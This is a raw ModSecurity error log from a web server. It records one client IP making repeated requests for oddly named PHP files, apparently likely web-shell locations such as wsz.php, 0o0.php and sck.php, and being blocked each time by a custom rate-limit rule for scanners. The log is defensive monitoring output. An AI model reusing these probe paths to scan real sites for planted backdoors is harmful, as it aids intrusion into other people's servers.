[Tue Mar 24 05:40:13.175868 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:23847] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/media.php"] [unique_id "acGzPfwkUqN4GJAI5oV2XAAAARE"]
[Tue Mar 24 05:40:15.062834 2026] [:error] [pid 3030:tid 3049] [client 172.213.136.15:24733] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/media.php"] [unique_id "acGzPwyOuILyynfcqfn1fQAAAAA"]
[Tue Mar 24 05:40:16.813451 2026] [:error] [pid 38767:tid 38771] [client 172.213.136.15:7127] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/media.php"] [unique_id "acGzQPwkUqN4GJAI5oV2aAAAAQE"]
[Tue Mar 24 05:40:18.307535 2026] [:error] [pid 3030:tid 3062] [client 172.213.136.15:36756] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsz.php"] [unique_id "acGzQgyOuILyynfcqfn1fwAAAA0"]
[Tue Mar 24 05:40:19.282861 2026] [:error] [pid 3030:tid 3060] [client 172.213.136.15:25473] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsz.php"] [unique_id "acGzQwyOuILyynfcqfn1gQAAAAs"]
[Tue Mar 24 05:40:20.971628 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:24736] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsz.php"] [unique_id "acGzRAyOuILyynfcqfn1hAAAABU"]
[Tue Mar 24 05:40:22.111118 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:31015] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wsz.php"] [unique_id "acGzRvwkUqN4GJAI5oV2cwAAAQ4"]
[Tue Mar 24 05:40:23.371840 2026] [:error] [pid 3031:tid 3090] [client 172.213.136.15:27870] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chitchatback.php"] [unique_id "acGzR6JBKytnG47nuibbBgAAAE4"]
[Tue Mar 24 05:40:24.571390 2026] [:error] [pid 3030:tid 3067] [client 172.213.136.15:24255] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chitchatback.php"] [unique_id "acGzSAyOuILyynfcqfn1iwAAABI"]
[Tue Mar 24 05:40:25.274853 2026] [:error] [pid 3031:tid 3093] [client 172.213.136.15:24420] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chitchatback.php"] [unique_id "acGzSaJBKytnG47nuibbBwAAAFE"]
[Tue Mar 24 05:40:44.511413 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:24395] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wakak.php"] [unique_id "acGzXPwkUqN4GJAI5oV23gAAARE"]
[Tue Mar 24 05:40:48.255529 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:30283] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wakak.php"] [unique_id "acGzYJdZesutm6dfYM_iIgAAANI"]
[Tue Mar 24 05:40:49.056815 2026] [:error] [pid 3137:tid 3143] [client 172.213.136.15:23300] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wakak.php"] [unique_id "acGzYZdZesutm6dfYM_iJgAAAMQ"]
[Tue Mar 24 05:40:50.055389 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:34040] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wakak.php"] [unique_id "acGzYvwkUqN4GJAI5oV25wAAAQw"]
[Tue Mar 24 05:40:52.025661 2026] [:error] [pid 38767:tid 38777] [client 172.213.136.15:27528] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev/.php"] [unique_id "acGzZPwkUqN4GJAI5oV28wAAAQc"]
[Tue Mar 24 05:40:53.240070 2026] [:error] [pid 38767:tid 38782] [client 172.213.136.15:31479] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev/.php"] [unique_id "acGzZfwkUqN4GJAI5oV29wAAAQw"]
[Tue Mar 24 05:40:54.276593 2026] [:error] [pid 3031:tid 3100] [client 172.213.136.15:24126] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev/.php"] [unique_id "acGzZqJBKytnG47nuibbJwAAAFg"]
[Tue Mar 24 05:40:55.375016 2026] [:error] [pid 3137:tid 3161] [client 172.213.136.15:24078] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev/.php"] [unique_id "acGzZ5dZesutm6dfYM_iNAAAANY"]
[Tue Mar 24 05:40:56.876924 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:37624] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nucqsqeg.php"] [unique_id "acGzaJdZesutm6dfYM_iOAAAANM"]
[Tue Mar 24 05:40:57.881819 2026] [:error] [pid 3032:tid 3115] [client 172.213.136.15:6435] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nucqsqeg.php"] [unique_id "acGzaSa_-JXXD03-JNzHMQAAAIw"]
[Tue Mar 24 05:40:59.543821 2026] [:error] [pid 3031:tid 3082] [client 172.213.136.15:37760] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nucqsqeg.php"] [unique_id "acGza6JBKytnG47nuibbKgAAAEY"]
[Tue Mar 24 05:41:02.141721 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:35045] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nucqsqeg.php"] [unique_id "acGzbia_-JXXD03-JNzHMgAAAJA"]
[Tue Mar 24 05:41:04.187759 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:22809] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xv.php"] [unique_id "acGzcJdZesutm6dfYM_iTAAAAMI"]
[Tue Mar 24 05:41:06.991466 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:22165] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xv.php"] [unique_id "acGzcpdZesutm6dfYM_iVAAAANM"]
[Tue Mar 24 05:41:08.350431 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:25626] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xv.php"] [unique_id "acGzdCa_-JXXD03-JNzHQAAAAIk"]
[Tue Mar 24 05:41:09.334147 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:22833] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xv.php"] [unique_id "acGzdZdZesutm6dfYM_iXQAAAMo"]
[Tue Mar 24 05:41:10.148088 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:40198] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file30.php"] [unique_id "acGzdvwkUqN4GJAI5oV3GAAAARA"]
[Tue Mar 24 05:41:12.632170 2026] [:error] [pid 3030:tid 3069] [client 172.213.136.15:34463] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file30.php"] [unique_id "acGzeAyOuILyynfcqfn1mAAAABQ"]
[Tue Mar 24 05:41:15.289899 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:25187] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file30.php"] [unique_id "acGze_wkUqN4GJAI5oV3HQAAAQY"]
[Tue Mar 24 05:41:16.425128 2026] [:error] [pid 3032:tid 3127] [client 172.213.136.15:25703] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file30.php"] [unique_id "acGzfCa_-JXXD03-JNzHUAAAAJc"]
[Tue Mar 24 05:41:18.180185 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:22153] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lufix.php"] [unique_id "acGzfpdZesutm6dfYM_idQAAAMo"]
[Tue Mar 24 05:41:19.209527 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:21313] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lufix.php"] [unique_id "acGzf5dZesutm6dfYM_idgAAANU"]
[Tue Mar 24 05:41:20.460713 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:21006] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lufix.php"] [unique_id "acGzgAyOuILyynfcqfn1nwAAABU"]
[Tue Mar 24 05:41:21.191173 2026] [:error] [pid 3031:tid 3091] [client 172.213.136.15:22512] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lufix.php"] [unique_id "acGzgaJBKytnG47nuibbQgAAAE8"]
[Tue Mar 24 05:41:23.174214 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:32664] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfile.php"] [unique_id "acGzg_wkUqN4GJAI5oV3KgAAAQQ"]
[Tue Mar 24 05:41:24.312185 2026] [:error] [pid 3137:tid 3148] [client 172.213.136.15:21154] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfile.php"] [unique_id "acGzhJdZesutm6dfYM_igAAAAMk"]
[Tue Mar 24 05:41:59.277793 2026] [:error] [pid 3030:tid 3069] [client 172.213.136.15:6901] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0o0.php"] [unique_id "acGzpwyOuILyynfcqfn1uwAAABQ"]
[Tue Mar 24 05:42:00.567005 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:22010] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0o0.php"] [unique_id "acGzqCa_-JXXD03-JNzHfwAAAJA"]
[Tue Mar 24 05:42:02.014578 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:41038] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0o0.php"] [unique_id "acGzqvwkUqN4GJAI5oV3gQAAARE"]
[Tue Mar 24 05:42:04.106971 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:41082] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0o0.php"] [unique_id "acGzrCa_-JXXD03-JNzHggAAAIk"]
[Tue Mar 24 05:42:05.086360 2026] [:error] [pid 3030:tid 3064] [client 172.213.136.15:6871] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sck.php"] [unique_id "acGzrQyOuILyynfcqfn1vQAAAA8"]
[Tue Mar 24 05:42:06.192208 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:42212] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sck.php"] [unique_id "acGzrvwkUqN4GJAI5oV3pAAAARA"]
[Tue Mar 24 05:42:07.070038 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:41041] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sck.php"] [unique_id "acGzr_wkUqN4GJAI5oV3qAAAARI"]
[Tue Mar 24 05:42:08.091083 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:21160] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sck.php"] [unique_id "acGzsPwkUqN4GJAI5oV3rgAAAQg"]
[Tue Mar 24 05:42:08.909317 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:31362] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/efsd.php"] [unique_id "acGzsPwkUqN4GJAI5oV3twAAAQY"]
[Tue Mar 24 05:42:10.185092 2026] [:error] [pid 3030:tid 3055] [client 172.213.136.15:22275] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/efsd.php"] [unique_id "acGzsgyOuILyynfcqfn1wwAAAAY"]
[Tue Mar 24 05:42:11.080440 2026] [:error] [pid 3030:tid 3051] [client 172.213.136.15:21827] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/efsd.php"] [unique_id "acGzswyOuILyynfcqfn1xQAAAAI"]
[Tue Mar 24 05:42:12.116964 2026] [:error] [pid 3032:tid 3114] [client 172.213.136.15:31379] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/efsd.php"] [unique_id "acGztCa_-JXXD03-JNzHhQAAAIs"]
[Tue Mar 24 05:42:13.327414 2026] [:error] [pid 3030:tid 3069] [client 172.213.136.15:33782] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccaef.php"] [unique_id "acGztQyOuILyynfcqfn1xwAAABQ"]
[Tue Mar 24 05:42:14.344906 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:40657] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccaef.php"] [unique_id "acGztia_-JXXD03-JNzHhwAAAJA"]
[Tue Mar 24 05:42:15.179824 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:36281] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccaef.php"] [unique_id "acGzt_wkUqN4GJAI5oV37wAAAQ4"]
[Tue Mar 24 05:42:16.133489 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:6865] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccaef.php"] [unique_id "acGzuPwkUqN4GJAI5oV38gAAAQ8"]
[Tue Mar 24 05:42:16.826069 2026] [:error] [pid 3030:tid 3067] [client 172.213.136.15:33962] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tll.php"] [unique_id "acGzuAyOuILyynfcqfn1yQAAABI"]
[Tue Mar 24 05:42:17.558102 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:31400] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tll.php"] [unique_id "acGzufwkUqN4GJAI5oV39gAAARY"]
[Tue Mar 24 05:42:18.556326 2026] [:error] [pid 3030:tid 3059] [client 172.213.136.15:21883] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tll.php"] [unique_id "acGzugyOuILyynfcqfn1zAAAAAo"]
[Tue Mar 24 05:42:20.293499 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:33976] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tll.php"] [unique_id "acGzvPwkUqN4GJAI5oV3_gAAAQY"]
